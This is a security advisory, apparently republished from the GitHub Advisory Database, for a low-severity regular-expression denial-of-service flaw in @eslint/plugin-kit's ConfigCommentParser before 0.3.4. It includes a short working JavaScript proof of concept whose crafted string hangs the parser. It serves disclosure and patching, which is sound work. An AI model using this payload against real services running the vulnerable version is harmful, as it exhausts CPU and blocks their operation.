# GHSA-xffm-g5w8-qvg7: @eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser

- Severity: Low (CVSS:4.0, scored by GitHub) `CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N`
- Known to be exploited: not in CISA's catalogue, which lists only what CISA has confirmed
- Published: 2025-07-18T20:39:12.000Z
- Modified: 2026-09-10T03:50:26.394Z
- Weaknesses: CWE-1333

## Description

### Summary

The `ConfigCommentParser#parseJSONLikeConfig` API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.

### Details

The regular expression at [packages/plugin-kit/src/config-comment-parser.js:158](https://github.com/eslint/rewrite/blob/bd4bf23c59f0e4886df671cdebd5abaeb1e0d916/packages/plugin-kit/src/config-comment-parser.js#L158) is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with `[^-a-zA-Z0-9/]`.

### PoC

```javascript
const { ConfigCommentParser } = require("@eslint/plugin-kit");

const str = `${"A".repeat(1000000)}?: 1 B: 2`;

console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")

// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
```

### Impact

This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.

(As written by GitHub Advisory Database.)

## Affected

- @eslint/plugin-kit (npm): before 0.3.4

## References

- <https://github.com/eslint/rewrite/security/advisories/GHSA-xffm-g5w8-qvg7> (web)
- <https://github.com/eslint/rewrite/commit/b283f64099ad6c6b5043387c091691d21b387805> (web)
- <https://github.com/eslint/rewrite> (package)

## Sources

- GitHub Advisory Database: [GHSA-xffm-g5w8-qvg7](https://github.com/advisories/GHSA-xffm-g5w8-qvg7), CC-BY-4.0, modified 2026-09-10

---

Page: https://cve.day/GHSA-xffm-g5w8-qvg7 · Whole record: https://cve.day/GHSA-xffm-g5w8-qvg7.json · Rebuilt by cve.day 2026-11-25T22:56:47.018Z
